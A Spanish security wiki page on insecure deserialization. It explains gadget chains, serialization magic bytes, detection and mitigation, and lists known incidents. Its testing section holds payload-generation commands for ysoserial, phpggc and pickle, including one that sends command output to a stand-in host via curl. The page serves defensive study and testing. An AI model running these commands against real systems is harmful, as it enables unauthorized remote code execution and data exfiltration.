Saltearse al contenido

Deserialización insegura

Serializar es convertir un objeto en bytes; deserializar es reconstruirlo. Si la aplicación deserializa datos que controla el atacante, este puede manipular el flujo de reconstrucción para instanciar objetos y disparar métodos que, encadenados (gadget chains), acaban en ejecución remota de código. Es una de las vías de RCE más potentes y difíciles de ver.

flowchart LR
    A[Atacante] -->|"objeto serializado malicioso"| APP["App (deserializa sin validar)"]
    APP -->|"reconstruye el objeto"| G["Cadena de gadgets<br/>(clases del classpath)"]
    G -->|"ejecución"| RCE[RCE]

RCE en el servidor (lo habitual con una buena cadena), DoS, y en algunos casos bypass de autenticación o manipulación de lógica (cambiar atributos de un objeto confiable, p. ej. isAdmin=true).

Al deserializar, el runtime recrea objetos y ejecuta métodos “mágicos” durante el proceso: PHP __wakeup/__destruct, Java readObject, Python pickle.__reduce__, .NET callbacks de (de)serialización. Un gadget es una clase ya presente en el classpath cuyo método, al ejecutarse en la cadena, hace algo útil (reflexión, ejecución de comandos). La cadena enlaza gadgets desde el punto de entrada hasta la ejecución. No hace falta que la app use la clase: basta con que esté disponible.

  • Java (ObjectInputStream) · PHP (unserialize) · .NET (BinaryFormatter, ViewState, Json.NET con TypeNameHandling) · Python (pickle, yaml.load) · Ruby (Marshal) · Node (varios paquetes).

Descubrimiento (identificar blobs serializados)

Sección titulada «Descubrimiento (identificar blobs serializados)»
Java : bytes 0xAC 0xED 0x00 0x05 | en Base64 empieza por rO0
PHP : O:4:"User":2:{...} (objeto) a:..{..} (array)
.NET : __VIEWSTATE / Base64 largo; AAEAAAD///// (BinaryFormatter)
Python : pickle (opcode) ; base64 que empieza por gASV / gAJ
Ruby : Marshal -> \x04\x08
Ventana de terminal
# Java: generar payload con una cadena de gadgets conocida
java -jar ysoserial.jar CommonsCollections5 'curl http://oob.tld/`id`' | base64
# PHP: generar cadena (gadget del framework presente)
phpggc Laravel/RCE1 system id -b # -b = base64
# .NET
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "cmd /c whoami"
# Python pickle (concepto de __reduce__)
# class E: def __reduce__(self): return (os.system, ('id',))
# pickle.dumps(E()) -> enviar al endpoint que hace pickle.loads

Confirma blind con interacción OOB (DNS/HTTP a tu collaborator).

RCE directo (sin autenticar en muchos casos), exfiltración de secretos, pivote y persistencia. Un único endpoint que deserialice sin control suele ser compromiso total.

  • Deserialización de datos de origen no confiable (revisión de código / SCA).
  • Magic bytes en el tráfico (rO0, AAEAAAD/////, \xAC\xED) hacia endpoints.
  • El proceso de la app lanzando shells/binarios inusuales (EDR).

WAF con firmas de blobs serializados, logs de la app, creación de procesos (auditd/Sysmon), egress/DNS.

  1. No deserializar datos no confiables. Si es inevitable, usa formatos solo datos (JSON/Protobuf) con parsers que no instancian tipos arbitrarios.
  2. Firmar/cifrar (HMAC) los objetos serializados que deban viajar por el cliente, y verificar antes de deserializar.
  3. Lista blanca de clases permitidas (look-ahead deserialization; en Java, ObjectInputFilter). Nunca lista negra.
  4. En .NET, evitar BinaryFormatter y TypeNameHandling.All; mantener dependencias actualizadas (gadgets viven en librerías).

Aislar, rotar secretos, buscar persistencia, parchear el endpoint y revisar qué gadgets estaban en el classpath.

  • Apache Commons Collections (2015) — la cadena de gadgets que hizo famoso el RCE por deserialización en Java; afectó a WebLogic, JBoss, Jenkins, WebSphere y más.
  • Oracle WebLogic — múltiples RCE por deserialización T3/IIOP (p. ej. CVE-2015-4852 y una larga lista posterior), muy explotados.
  • .NET ViewState / BinaryFormatter — RCE recurrente cuando la machineKey se filtra o TypeNameHandling está mal configurado.

CVEs concretos en NVD (https://nvd.nist.gov/vuln/search) y GitHub Advisories (https://github.com/advisories).

  • Identificados blobs serializados por magic bytes/formato.
  • Probada generación de cadena con la herramienta del lenguaje (ysoserial/phpggc…).
  • Confirmado RCE (in-band u OOB) con comando inofensivo.
  • Revisadas cookies/ViewState/campos ocultos que viajen serializados.
  • Impacto documentado sin dañar datos reales.